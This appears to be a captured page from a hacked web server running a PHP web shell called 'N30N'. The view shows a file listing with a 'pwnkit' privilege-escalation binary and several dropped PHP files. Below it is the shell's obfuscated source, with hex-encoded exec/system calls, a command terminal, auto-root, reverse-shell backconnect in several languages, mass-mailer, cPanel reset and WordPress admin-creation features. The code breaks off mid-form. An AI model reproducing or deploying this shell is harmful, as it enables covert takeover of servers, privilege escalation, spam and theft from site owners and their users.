Linux lx05.r4.net.br 5.14.0-611.55.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 19 15:19:29 EDT 2026 x86_64
Apache
: 177.84.130.146 | : 216.73.216.90
1168 Domain
8.1.34
root
www.github.com/beanqz
+ Create Folder
+ Create File
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
/
home /
cosmetic /
public_html /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
.well-known
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
css
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
1vonEMzNWQ.php
14.49
KB
-rw-rw-rw-
I5t1Ml1orQ.php
11.23
KB
-rw-rw-rw-
NN2irBWaPv.php
11.23
KB
-rw-rw-rw-
PwwxmOxQqa.php
10.43
KB
-rw-rw-rw-
REp8aEniXQ.php
14.51
KB
-rw-rw-rw-
U1Z0N1B8yG.php
11.23
KB
-rw-rw-rw-
UWksDlURUI.php
11.23
KB
-rw-rw-rw-
fadly.php
78.23
KB
-rw-r--r--
index.html
0
B
-rw-r--r--
iufqYZhGFW.php
14.62
KB
-rw-rw-rw-
lCwndBjkEh.php
11.23
KB
-rw-rw-rw-
php.ini
106
B
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
N30N
Close
Code Editor : fadly.php
<?php @set_time_limit(0); @clearstatcache(); @ini_set('error_log', NULL); @ini_set('log_errors', 0); @ini_set('max_execution_time', 0); @ini_set('output_buffering', 0); @ini_set('display_errors', 0); ini_set('memory_limit', '64M'); header('Content-Type: text/html; charset=UTF-8'); # function WAF $Array = [ '676574637764', # ge tcw d => 0 '676c6f62', # gl ob => 1 '69735f646972', # is_d ir => 2 '69735f66696c65', # is_ file => 3 '69735f7772697461626c65', # is_wr iteable => 4 '69735f7265616461626c65', # is_re adble => 5 '66696c657065726d73', # fileper ms => 6 '66696c65', # f ile => 7 '7068705f756e616d65', # php_unam e => 8 '6765745f63757272656e745f75736572', # getc urrentuser => 9 '68746d6c7370656369616c6368617273', # html special => 10 '66696c655f6765745f636f6e74656e7473', # fil e_get_contents => 11 '6d6b646972', # mk dir => 12 '746f756368', # to uch => 13 '6368646972', # ch dir => 14 '72656e616d65', # ren ame => 15 '65786563', # exe c => 16 '7061737374687275', # pas sthru => 17 '73797374656d', # syst em => 18 '7368656c6c5f65786563', # sh ell_exec => 19 '706f70656e', # p open => 20 '70636c6f7365', # pcl ose => 21 '73747265616d5f6765745f636f6e74656e7473', # stre amgetcontents => 22 '70726f635f6f70656e', # p roc_open => 23 '756e6c696e6b', # un link => 24 '726d646972', # rmd ir => 25 '666f70656e', # fop en => 26 '66636c6f7365', # fcl ose => 27 '66696c655f7075745f636f6e74656e7473', # file_put_c ontents => 28 '6d6f76655f75706c6f616465645f66696c65', # move_up loaded_file => 29 '63686d6f64', # ch mod => 30 '7379735f6765745f74656d705f646972', # temp _dir => 31 '6261736536345F6465636F6465', # => bas e6 4 _decode => 32 '6261736536345F656E636F6465', # => ba se6 4_ encode => 33 ]; $hitung_array = count($Array); for ($i = 0; $i < $hitung_array; $i++) { $fungsi[] = unx($Array[$i]); } if (isset($_GET['ayana'])) { $cdir = unx($_GET['ayana']); $fungsi[14]($cdir); } else { $cdir = $fungsi[0](); } function file_ext($file) { if (mime_content_type($file) == 'image/png' or mime_content_type($file) == 'image/jpeg') { return '<i class="fa-regular fa-image" style="color:var(--neon-cyan)"></i>'; } else if (mime_content_type($file) == 'application/x-httpd-php' or mime_content_type($file) == 'text/html') { return '<i class="fa-solid fa-file-code" style="color:var(--neon-cyan)"></i>'; } else if (mime_content_type($file) == 'text/javascript') { return '<i class="fa-brands fa-square-js"></i>'; } else if (mime_content_type($file) == 'application/zip' or mime_content_type($file) == 'application/x-7z-compressed') { return '<i class="fa-solid fa-file-zipper" style="color:#e39a09"></i>'; } else if (mime_content_type($file) == 'text/plain') { return '<i class="fa-solid fa-file" style="color:#97f9f1"></i>'; } else if (mime_content_type($file) == 'application/pdf') { return '<i class="fa-regular fa-file-pdf" style="color:#ba2b0f"></i>'; } else { return '<i class="fa-regular fa-file-code" style="color:var(--neon-cyan)"></i>'; } } function download($file) { if (file_exists($file)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename=' . basename($file)); header('Content-Transfer-Encoding: binary'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($file)); ob_clean(); flush(); readfile($file); exit; } } if ($_GET['don'] == true) { $FilesDon = download(unx($_GET['don'])); } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="robots" content="noindex, nofollow"> <meta name="googlebot" content="noindex"> <link rel="icon" type="image/png" href="https://tongkronganterminal.com/img/banner-bannerann/icon.webp"> <title>N30N [ <?= $_SERVER['SERVER_NAME']; ?> ]</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.63.0/codemirror.min.css"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.63.0/theme/ayu-mirage.min.css"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.63.0/addon/hint/show-hint.min.css"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.6.0/css/all.min.css" integrity="sha512-Kc323vGBEqzTmouAECnVceyQqyqdsSiqLQISBL29aUW4U/M7pSPA/gEUZQqv1cwx4OnYxTxve5UMg5GT6L4JJg==" crossorigin="anonymous" referrerpolicy="no-referrer" /> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.1/jquery.min.js"></script> <script src="//cdn.jsdelivr.net/npm/sweetalert2@11"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.63.0/codemirror.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.63.0/mode/xml/xml.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.63.0/mode/javascript/javascript.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.63.0/addon/hint/show-hint.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.63.0/addon/hint/xml-hint.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.63.0/addon/hint/html-hint.min.js"></script> <style> /* ==================== BASE THEME (Neon Ghost V2) ==================== */ :root { --bg-dark: #03040a; /* Lebih gelap untuk kontras */ --bg-panel: rgba(8, 12, 25, 0.85); --bg-input: #0a0f1c; --neon-cyan: #00f3ff; /* Cyan Neon Menyala */ --neon-blue: #0077ff; --neon-glow: rgba(0, 243, 255, 0.4); --text-main: #d7e0ff; /* Putih kebiruan metalik */ --text-dim: #6e7a9e; --border-neon: 1px solid rgba(0, 243, 255, 0.25); } .menu-file-manager { position: sticky; top: 0; z-index: 999; background: var(--bg-panel); backdrop-filter: blur(10px); border-bottom: 1px solid var(--neon-cyan); } .menu-file-manager ul { display: flex; justify-content: flex-start; gap: 10px; margin: 0; padding: 10px; } .modal-container { width: 500px; /* Lebar modal lebih pas */ padding: 20px; } .modal-header h3 { color: var(--neon-cyan); text-shadow: 0 0 10px var(--neon-cyan); margin-top: 0; border-bottom: 1px solid var(--neon-cyan); padding-bottom: 10px; } .modal-body { padding: 20px 0; } .modal-create-input { width: 100%; background-color: var(--bg-input); border: 1px solid var(--neon-cyan) !important; color: var(--text-main); padding: 12px; border-radius: 5px; font-size: 16px; outline: none; box-shadow: 0 0 10px rgba(0, 243, 255, 0.1); margin-bottom: 15px; } .modal-create-input:focus { border-color: #fff !important; box-shadow: 0 0 15px var(--neon-cyan); } /* Tombol di dalam Modal - Ganti Merah Muda jadi Cyan Neon */ .modal-btn-form { text-align: right; margin-top: 10px; } .modal-btn-form .btn-modal-close { background: transparent; border: 1px solid var(--neon-cyan); color: var(--neon-cyan); box-shadow: none; padding: 10px 20px; margin-left: 10px; transition: all 0.3s ease; } .modal-btn-form .btn-modal-close:hover { background: var(--neon-cyan); color: #000; box-shadow: 0 0 15px var(--neon-cyan); } .modal-btn-form input[name="submit"] { background: linear-gradient(90deg, var(--neon-blue), var(--neon-cyan)); color: #000; font-weight: bold; border: none; box-shadow: 0 0 10px var(--neon-glow); } .modal-btn-form input[name="submit"]:hover { box-shadow: 0 0 20px var(--neon-cyan); } .modal { display: none; position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: rgba(0, 0, 0, 0.9); backdrop-filter: blur(5px); z-index: 9999; /* KUNCI UTAMA: Agar modal di tengah layar */ align-items: center; justify-content: center; } .modal.active { display: flex !important; } .modal-container { width: 500px; max-width: 90%; padding: 25px; background: var(--bg-panel); border: 1px solid var(--neon-cyan); box-shadow: 0 0 40px var(--neon-glow); border-radius: 12px; } .modal-header h3 { color: var(--neon-cyan); text-shadow: 0 0 10px var(--neon-cyan); margin-top: 0; border-bottom: 1px solid var(--neon-cyan); padding-bottom: 10px; } .modal-create-input { width: 100%; background-color: var(--bg-input); border: 1px solid var(--neon-cyan) !important; color: var(--text-main); padding: 12px; border-radius: 5px; font-size: 16px; outline: none; margin-bottom: 15px; } .modal-btn-form { text-align: right; margin-top: 10px; } /* Tombol Submit Cyan Neon */ .modal-btn-form input[name="submit"] { background: linear-gradient(90deg, var(--neon-blue), var(--neon-cyan)); color: #000; font-weight: bold; border: none; box-shadow: 0 0 10px var(--neon-glow); padding: 10px 20px; border-radius: 5px; } /* Tombol Close Transparan */ .modal-btn-form .btn-modal-close { background: transparent; border: 1px solid var(--neon-cyan); color: var(--neon-cyan); box-shadow: none; padding: 10px 20px; margin-left: 10px; transition: all 0.3s ease; border-radius: 5px; } .modal-btn-form .btn-modal-close:hover { background: var(--neon-cyan); color: #000; box-shadow: 0 0 15px var(--neon-cyan); } .menu-file-manager ul li a { font-size: 16px; font-weight: bold; color: var(--neon-cyan); } * { box-sizing: border-box; } body { background-color: var(--bg-dark); background-image: radial-gradient(circle at 50% -10%, rgba(0, 243, 255, 0.2) 0%, transparent 60%), radial-gradient(circle at 100% 100%, rgba(0, 119, 255, 0.15) 0%, transparent 50%); color: var(--text-main); font-family: 'Courier New', Courier, monospace; margin: 0; padding: 20px; overflow-x: hidden; min-height: 100vh; } a { text-decoration: none; color: var(--neon-cyan); transition: all 0.3s ease; } a:hover { color: #fff; text-shadow: 0 0 10px var(--neon-cyan), 0 0 25px var(--neon-cyan); } /* ==================== HEADER & MENU ==================== */ .menu-header { background: var(--bg-panel); backdrop-filter: blur(12px); border: var(--border-neon); box-shadow: 0 0 25px rgba(0, 243, 255, 0.1), inset 0 0 15px rgba(0, 243, 255, 0.05); border-radius: 12px; padding: 20px; margin-bottom: 25px; position: relative; overflow: hidden; } .menu-header ul { margin: 0; padding: 0; } .menu-header li { padding: 8px 0; font-weight: 700; border-bottom: 1px dashed rgba(255, 255, 255, 0.1); } .menu-header li:last-child { border-bottom: none; } .menu-header li i { color: var(--neon-cyan); margin-right: 5px; text-shadow: 0 0 8px var(--neon-cyan); } /* Logo Ghost - Diperbaiki agar tidak tertutup */ .logo-gecko { position: absolute; top: 10px; right: 20px; z-index: 10; filter: drop-shadow(0 0 20px rgba(0, 243, 255, 0.8)); opacity: 1; } .logo-gecko img { width: 200px !important; height: auto !important; } /* ==================== BUTTONS & FORMS ==================== */ .btn-submit, a.btn-submit { background: linear-gradient(90deg, var(--neon-blue), var(--neon-cyan)); color: #000; font-weight: bold; border: none; padding: 10px 20px; border-radius: 6px; box-shadow: 0 0 15px var(--neon-glow); cursor: pointer; transition: all 0.2s ease; display: inline-block; margin-bottom: 5px; } .btn-submit:hover, a.btn-submit:hover { transform: translateY(-2px); box-shadow: 0 0 25px var(--neon-cyan); color: #000; } .form-file { background-color: var(--bg-input); border: var(--border-neon); padding: 8px 20px; border-radius: 6px; color: var(--text-main); margin-left: 10px; } /* ==================== MAIN CONTAINER (File Manager, Tables) ==================== */ .menu-tools, .menu-file-manager, .path-pwd { background: var(--bg-panel); backdrop-filter: blur(12px); border: var(--border-neon); border-radius: 12px; padding: 20px; margin: 15px 0; box-shadow: 0 10px 30px rgba(0, 0, 0, 0.5); } .menu-tools ul { display: flex; flex-wrap: wrap; gap: 10px; list-style: none; padding: 0; } .menu-tools li { margin: 0 !important; } .path-pwd { background: var(--bg-input); border-left: 5px solid var(--neon-cyan); color: var(--neon-cyan); font-weight: bold; padding: 15px; font-size: 15px; } /* Tables */ table { width: 100%; border-collapse: collapse; background: transparent; margin-top: 15px; } thead { background: rgba(0, 243, 255, 0.1); color: var(--neon-cyan); text-transform: uppercase; letter-spacing: 1px; } thead th { padding: 15px; border-bottom: 2px solid var(--neon-cyan); } tbody tr { transition: background 0.2s; } tbody tr:hover { background: rgba(0, 243, 255, 0.05); } tbody tr:nth-child(2n) { background-color: rgba(255, 255, 255, 0.03); } tbody tr td { padding: 12px 10px; border-bottom: 1px solid rgba(255, 255, 255, 0.05); } tbody tr td:nth-child(2), tbody tr td:nth-child(3), tbody tr td:nth-child(4) { text-align: center; } .file-size { color: var(--neon-cyan); text-shadow: 0 0 5px var(--neon-cyan); } /* ==================== MODALS, TERMINAL & EDITOR ==================== */ .modal, .terminal, .code-editor { background-color: rgba(0, 0, 0, 0.9); backdrop-filter: blur(5px); } .modal-container, .terminal-container, .code-editor-container { background: var(--bg-panel); border: var(--border-neon); box-shadow: 0 0 40px var(--neon-glow); border-radius: 12px; } .modal-header, .modal-body, .terminal-head { color: var(--neon-cyan); } .modal-create-input, .terminal-input, .bc-gecko, .mail { background-color: var(--bg-input); border: var(--border-neon); color: var(--text-main); border-radius: 6px; box-shadow: inset 0 0 10px rgba(0, 0, 0, 0.5); } .btn-modal-close { background: #ff0055; color: #fff; border: none; box-shadow: 0 0 15px rgba(255, 0, 85, 0.5); } .terminal-body textarea, .code-editor-body textarea { background-color: #0a0f1c; color: var(--neon-cyan); border: 1px solid var(--neon-blue); } /* Scrollbar Super Cool */ ::-webkit-scrollbar { width: 10px; height: 10px; } ::-webkit-scrollbar-track { background: #03040a; } ::-webkit-scrollbar-thumb { background: linear-gradient(180deg, var(--neon-blue), var(--neon-cyan)); border-radius: 10px; border: 1px solid #03040a; } ::-webkit-scrollbar-thumb:hover { background: #fff; box-shadow: 0 0 15px var(--neon-cyan); } /* Badges (Root, Linux, dll) */ .badge-root::after, .badge-premium::after, .badge-linux::after, .badge-windows::after, .badge-action-chmod:hover::after, .badge-action-download:hover::after, .badge-action-editor:hover::after { background: linear-gradient(90deg, var(--neon-blue), var(--neon-cyan)); color: #000; font-weight: bold; box-shadow: 0 0 10px var(--neon-glow); padding: 2px 6px; border-radius: 4px; } @media screen and (min-width: 768px) and (max-width: 1200px) and (min-height:720px) { .code-editor-container { height: 85vh !important; } .CodeMirror { height: 72vh !important; font-size: xx-large !important; margin: 0 4px; border-radius: 4px; } .btn-modal-close { padding: 15px 40px !important; } } /* ==================== CODE EDITOR FIX ==================== */ .code-editor { z-index: 999999 !important; /* Lebih tinggi dari modal */ display: block !important; /* Pastikan selalu terlihat saat aktif */ } .code-editor-container { width: 90%; max-width: 1000px; /* Lebar lebih besar untuk ngoding */ margin: 5% auto; background: var(--bg-panel); border: 1px solid var(--neon-cyan); box-shadow: 0 0 50px var(--neon-glow); border-radius: 12px; padding: 20px; } .code-editor-head h3 { color: var(--neon-cyan); text-shadow: 0 0 10px var(--neon-cyan); border-bottom: 1px solid var(--neon-cyan); padding-bottom: 10px; margin-bottom: 15px; } .code-editor-body textarea { background-color: #0a0f1c; color: var(--neon-cyan); border: 1px solid var(--neon-blue); font-family: 'Courier New', monospace; font-size: 14px; width: 100%; padding: 15px; border-radius: 8px; resize: vertical; min-height: 400px; } .code-editor .modal-btn-form { margin-top: 15px; } </style> </head> <body> <div class="menu-header"> <ul> <!-- Logo di atas, dirapikan agar tidak menutupi --> <li class="logo-gecko"><img width="350" height="350" src="https://tbgroup78.wordpress.com/wp-content/uploads/2026/08/beannq.gif" align="right"></li> <li><i class="fa-solid fa-computer"></i> <?= $fungsi[8](); ?></li> <li><i class="fa-solid fa-server"></i> <?= $_SERVER["\x53\x45\x52\x56\x45\x52\x5f\x53\x4f\x46\x54\x57\x41\x52\x45"]; ?></li> <li><i class="fa-solid fa-network-wired"></i> : <?= gethostbyname($_SERVER["\x53\x45\x52\x56\x45\x52\x5f\x41\x44\x44\x52"]); ?> | : <?= $_SERVER["\x52\x45\x4d\x4f\x54\x45\x5f\x41\x44\x44\x52"]; ?></li> <li><i class="fa-solid fa-globe"></i> <?= s(); ?></li> <li><i class="fa-brands fa-php"></i> <?= PHP_VERSION; ?></li> <li><i class="fa-solid fa-user"></i> <?= $fungsi[9](); ?></li> <li><i class="fa-brands fa-github"></i> www.github.com/beanqz</li> <form action="" method="post" enctype='<?= "\x6d\x75\x6c\x74\x69\x70\x61\x72\x74\x2f\x66\x6f\x72\x6d\x2d\x64\x61\x74\x61"; ?>'> <li class="form-upload"><input type="submit" value="Upload" name="gecko-up-submit" class="btn-submit"> <input type="file" name="gecko-upload" class="form-file"></li> </form> </ul> </div> <div class="menu-tools"> <ul> <li><a href="" id="create_folder" class="btn-submit"><i class="fa-solid fa-folder-plus"></i> + Create Folder</a></li> <li><a href="" id="create_file" class="btn-submit"><i class="fa-solid fa-file-circle-plus"></i> + Create File</a></li> <li><a href="?ayana=<?= hx($fungsi[0]()) ?>&terminal=normal" class="btn-submit"><i class="fa-solid fa-terminal"></i> Terminal</a></li> <li><a href="?ayana=<?= hx($fungsi[0]()) ?>&terminal=root" class="btn-submit badge-root"><i class="fa-solid fa-user-lock"></i> AUTO ROOT</a></li> <li><a href="?ayana=<?= hx($fungsi[0]()) ?>&adminer" class="btn-submit"><i class="fa-solid fa-database"></i> Adminer</a></li> <li><a href="?ayana=<?= hx($fungsi[0]()) ?>&destroy" class="btn-submit"><i class="fa-solid fa-ghost"></i> Backdoor Destroyer</a></li> <li><a href="//www.exploit-db.com/search?q=Linux%20Kernel%20<?= suggest_exploit(); ?>" class="btn-submit"><i class="fa-solid fa-flask"></i> Linux Exploit</a></li> <li><a href="?ayana=<?= hx($fungsi[0]()) ?>&lockshell" class="btn-submit"><i class="fa-brands fa-linux"></i> Lock Shell</a></li> <li><a href="" class="btn-submit badge-linux" id="lock-file"><i class="fa-brands fa-linux"></i> Lock File</a></li> <li><a href="" class="btn-submit badge-root" id="root-user"><i class="fa-solid fa-user-plus"></i> Create User</a></li> <li><a href="" class="btn-submit" id="create-rdp"><i class="fa-solid fa-laptop-file"></i> CREATE RDP</a></li> <li><a href="?ayana=<?= hx($fungsi[0]()) ?>&mailer" class="btn-submit"><i class="fa-solid fa-envelope"></i> PHP Mailer</a></li> <li><a href="?ayana=<?= hx($fungsi[0]()) ?>&backconnect" class="btn-submit"><i class="fa-solid fa-user-secret"></i> BACKCONNECT</a></li> <li><a href="?ayana=<?= hx($fungsi[0]()) ?>&unlockshell" class="btn-submit"><i class="fa-solid fa-unlock-keyhole"></i> UNLOCK SHELL</a></li> <li><a href="//hashes.com/en/tools/hash_identifier" class="btn-submit"><i class="fa-solid fa-code"></i> HASH IDENTIFIER</a></li> <li><a href="?ayana=<?= hx($fungsi[0]()) ?>&cpanelreset" class="btn-submit"><i class="fa-brands fa-cpanel"></i> CPANEL RESET</a></li> <li><a href="?ayana=<?= hx($fungsi[0]()) ?>&createwp" class="btn-submit"><i class="fa-brands fa-wordpress-simple"></i> CREATE WP USER</a></li> <li><a href="//github.com/Swacy-pixi/" class="btn-submit"><i class="fa-solid fa-link"></i> README</a></li> </ul> </div> <?php $file_manager = $fungsi[1]("{.[!.],}*", GLOB_BRACE); $get_cwd = $fungsi[0](); ?> <div class="menu-file-manager"> <div class="path-pwd"> <div class="menu-file-manager"> <?php $cwd = str_replace("\\", "/", $get_cwd); // untuk dir garis windows $pwd = explode("/", $cwd); if (stristr(PHP_OS, "WIN")) { windowsDriver(); } foreach ($pwd as $id => $val) { if ($val == '' && $id == 0) { echo ' <a href="?ayana=' . hx('/') . '"><i class="fa-solid fa-folder-plus"></i> / </a>'; continue; } if ($val == '') continue; echo '<a href="?ayana='; for ($i = 0; $i <= $id; $i++) { echo hx($pwd[$i]); if ($i != $id) echo hx("/"); } echo '">' . $val . ' / ' . '</a>'; } echo "<a style='font-weight:bold; color: var(--neon-cyan); text-shadow: 0 0 10px var(--neon-cyan);' href='?ayana=" . hx(__DIR__) . "'>[ HOME SHELL ]</a> "; ?> </div> </div> <!-- FORM UNTUK CREATE FILE & FOLDER --> <form action="" method="post"> <table style="width: 100%;"> <thead> <tr> <th>Name</th> <th>Size</th> <th>Permission</th> <th>Action</th> </tr> </thead> <tbody> <!-- Gecko Folder File Manager --> <?php foreach ($file_manager as $_D) : ?> <?php if ($fungsi[2]($_D)) : ?> <tr> <td><input type="checkbox" name="check[]" value="<?= $_D ?>"> <i class="fa-solid fa-folder-open" style="color:var(--neon-cyan);"></i> <a href="?ayana=<?= hx($fungsi[0]() . "/" . $_D); ?>"><?= namaPanjang($_D); ?></a></td> <td>[ DIR ]</td> <td> <?php if ($fungsi[4]($fungsi[0]() . '/' . $_D)) { echo '<font color="var(--neon-cyan)">'; } elseif (!$fungsi[5]($fungsi[0]() . '/' . $_D)) { echo '<font color="red">'; } echo perms($fungsi[0]() . '/' . $_D); ?> </td> <!-- Action Folder Manager --> <td><a href="?ayana=<?= hx($fungsi[0]()); ?>&re=<?= hx($_D) ?>" class="badge-action-editor"><i class="fa-solid fa-pen-to-square"></i></a> <a href="?ayana=<?= hx($fungsi[0]()); ?>&ch=<?= hx($_D) ?>" class="badge-action-chmod"><i class="fa-solid fa-user-pen"></i></a></td> </tr> <?php endif; ?> <?php endforeach; ?> <!-- Gecko Files Manager --> <?php foreach ($file_manager as $_F) : ?> <?php if ($fungsi[3]($_F)) : ?> <tr> <td><input type="checkbox" name="check[]" value="<?= $_F ?>"> <?= file_ext($_F) ?> <a href="?ayana=<?= hx($fungsi[0]()); ?>&f=<?= hx($_F); ?>" class="gecko-files"><?= namaPanjang($_F); ?></a></td> <td><?= formatSize(filesize($_F)); ?></td> <td> <?php if (is_writable($fungsi[0]() . '/' . $_D)) { echo '<font color="var(--neon-cyan)">'; } elseif (!is_readable($fungsi[0]() . '/' . $_F)) { echo '<font color="red">'; } echo perms($fungsi[0]() . '/' . $_F); ?> </td> <!-- Action File Manager --> <td><a href="?ayana=<?= hx($fungsi[0]()); ?>&re=<?= hx($_F) ?>" class="badge-action-editor"><i class="fa-solid fa-pen-to-square"></i></a> <a href="?ayana=<?= hx($fungsi[0]()); ?>&ch=<?= hx($_F) ?>" class="badge-action-chmod"><i class="fa-solid fa-user-pen"></i></a> <a href="?ayana=<?= hx($fungsi[0]()); ?>&don=<?= hx($_F) ?>" class="badge-action-download"><i class="fa-solid fa-download"></i></a></td> </tr> <?php endif; ?> <?php endforeach; ?> </tbody> </table> <br> <select name="gecko-select" class="btn-submit"> <option value="delete">Delete</option> <option value="unzip">Unzip</option> <option value="zip">Zip</option> </select> <input type="submit" name="submit-action" value="Submit" class="btn-submit"> </form> <!-- ============================================== --> <!-- 1. MODAL UNTUK CREATE FILE & FOLDER (TUNGGAL) --> <!-- ============================================== --> <div class="modal" id="modal-create"> <div class="modal-container"> <div class="modal-header"> <h3><b><i id="modal-title">N30N</i></b></h3> </div> <form action="" method="post"> <div class="modal-body"> <div id="modal-body-bc"></div> <span id="modal-input"></span> <div class="modal-btn-form"> <input type="submit" name="submit" value="Submit" class="btn-modal-close box-shadow"> <button class="btn-modal-close box-shadow" id="close-modal">Close</button> </div> </div> </form> </div> </div> <!-- ============================================== --> <!-- 2. MODAL UNTUK RENAME & CHMOD (TERPISAH) --> <!-- ============================================== --> <?php if ($_GET['re'] == true) : ?> <div class="modal active" id="modal-rename"> <div class="modal-container"> <div class="modal-header"> <h3><b><i id="modal-title">Rename : <?= unx($_GET['re']) ?></i></b></h3> </div> <div class="modal-body"> <form action="" method="post"> <input type="text" name="renameFile" class="modal-create-input" placeholder="Masukkan nama baru..." autofocus> <div class="modal-btn-form"> <input type="submit" name="submit" value="Submit" class="btn-modal-close box-shadow"> <button class="btn-modal-close box-shadow close-btn-s">Close</button> </div> </form> </div> </div> </div> <?php endif; ?> <?php if ($_GET['ch'] == true) : ?> <div class="modal active" id="modal-chmod"> <div class="modal-container"> <div class="modal-header"> <h3><b><i id="modal-title">Change Permission : <?= unx($_GET['ch']) ?></i></b></h3> </div> <div class="modal-body"> <form action="" method="post"> <input type="number" name="chFile" class="modal-create-input" placeholder="0775" autofocus> <div class="modal-btn-form"> <input type="submit" name="submit" value="Submit" class="btn-modal-close box-shadow"> <button class="btn-modal-close box-shadow close-btn-s">Close</button> </div> </form> </div> </div> </div> <?php endif; ?> <?php if (isset($_GET['cpanelreset'])) : ?> <div class="modal active"> <div class="modal-container"> <div class="modal-header"> <h3><b><i id="modal-title">:: Cpanel Reset </i></b></h3> </div> <form action="" method="post"> <div class="modal-body"> <div class="modal-isi"> <input type="email" name="resetcp" class="modal-create-input" placeholder="Your email : example@mail.com"> </div> <div class="modal-btn-form"> <input type="submit" name="submit" value="Submit" class="btn-modal-close box-shadow"> <a class="btn-modal-close box-shadow" href="?ayana=<?= hx($fungsi[0]()) ?>">Close</a> </div> </div> </form> </div> </div> <?php endif; ?> <?php if (isset($_GET['createwp'])) : ?> <div class="modal active"> <div class="modal-container"> <div class="modal-header"> <h3><b><i id="modal-title"><center>CREATE WORDPRESS ADMIN PASSWORD</center></i></b></h3> </div> <form action="" method="post"> <div class="modal-body"> <div class="modal-isi"> <input type="text" name="db_name" class="modal-create-input" placeholder="DB_NAME"> <br><br> <input type="text" name="db_user" class="modal-create-input" placeholder="DB_USER"> <br><br> <input type="text" name="db_password" class="modal-create-input" placeholder="DB_PASSWORD"> <br><br> <input type="text" name="db_host" class="modal-create-input" placeholder="DB_HOST" value="127.0.0.1"> <br><br> <hr size="2" color="var(--neon-cyan)" style="margin:0px 30px; border-radius:3px;"> <br><br> <input type="text" name="wp_user" class="modal-create-input" placeholder="Your Username"> <br><br> <input type="text" name="wp_pass" class="modal-create-input" placeholder="Your Password"> <br><br> </div> <div class="modal-btn-form"> <input type="submit" name="submitwp" value="Submit" class="btn-modal-close box-shadow"> <a class="btn-modal-close box-shadow" href="?ayana=<?= hx($fungsi[0]()) ?>">Close</a> </div> </div> </form> </div> </div> <?php endif; ?> <?php if (isset($_GET['backconnect'])) : ?> <div class="modal active"> <div class="modal-container"> <div class="modal-header"> <h3><b><i id="modal-title">:: Backconnect</i></b></h3> </div> <form action="" method="post"> <div class="modal-body"> <select class="bc-gecko box-shadow" name="gecko-bc"> <option value="-">Choose Backconnect</option> <option value="perl">Perl</option> <option value="python">Python</option> <option value="ruby">Ruby</option> <option value="bash">Bash</option> <option value="php">php</option> <option value="nc">nc</option> <option value="sh">sh</option> <option value="xterm">Xterm</option> <option value="golang">Golang</option> </select> <input type="text" name="backconnect-host" class="modal-create-input" placeholder="127.0.0.1"> <br><br> <input type="number" name="backconnect-port" class="modal-create-input" placeholder="1337"> <div class="modal-btn-form"> <input type="submit" name="submit-bc" value="Submit" class="btn-modal-close box-shadow"> <a class="btn-modal-close box-shadow" href="?ayana=<?= hx($fungsi[0]()) ?>">Close</a> </div> </div> </form> </div> </div> <?php endif; ?> <?php if (isset($_GET['mailer'])) : ?> <div class="modal active"> <div class="modal-container"> <div class="modal-header"> <h3><b><i id="modal-title">:: PHP Mailer</i></b></h3> </div> <form action="" method="post"> <div class="modal-body"> <div class="modal-isi"> <div class="modal-mail-text"> <textarea name="message-smtp" class="box-shadow mail" placeholder=" Your Text here!"></textarea> </div> <br> <input type="text" name="mailto-subject" class="modal-create-input" placeholder="Subject"> <br><br> <input type="email" name="mail-from-smtp" class="modal-create-input" placeholder="from : example@mail.com"> <br><br> <input type="email" name="mail-to-smtp" class="modal-create-input" placeholder="to : example@mail.com"> </div> <div class="modal-btn-form"> <input type="submit" name="submit" value="Submit" class="btn-modal-close box-shadow"> <a class="btn-modal-close box-shadow" href="?ayana=<?= hx($fungsi[0]()) ?>">Close</a> </div> </div> </form> </div> </div> <?php endif; ?> <?php if ($_GET['f']) : ?> <div class="code-editor" style="display: block;"> <div class="code-editor-container"> <div class="code-editor-head"> <h3><i class="fa-solid fa-code"></i> Code Editor : <?= unx($_GET['f']); ?></h3> </div> <div class="code-editor-body"> <form action="" method="post"> <textarea name="code-editor" id="code" class="box-shadow" autofocus><?= $fungsi[10]($fungsi[11]($fungsi[0]() . "/" . unx($_GET['f']))); ?></textarea> <div class="modal-btn-form"> <input type="submit" name="save-editor" value="Save" class="btn-modal-close"> <button class="btn-modal-close" id="close-editor">Close</button> </div> </form> </div> </div> </div> <?php endif; ?> <?php if ($_GET['terminal'] == "normal") : ?> <div class="terminal"> <div class="terminal-container"> <div class="terminal-head"> <ul> <li id="terminal-title"><b><i class="fa-solid fa-terminal"></i> TERMINAL</b></li> <li><a href="" class="close-terminal"><i class="fa-solid fa-right-from-bracket"></i></a></li> </ul> </div> <div class="terminal-body"> <textarea class="box-shadow" disabled><?php if (isset($_POST['terminal'])) { echo $fungsi[10](cmd($_POST['terminal-text'] . " 2>&1")); } ?></textarea> <form action="" method="post"> <ul> <li><input type="text" name="terminal-text" class="terminal-input box-shadow" 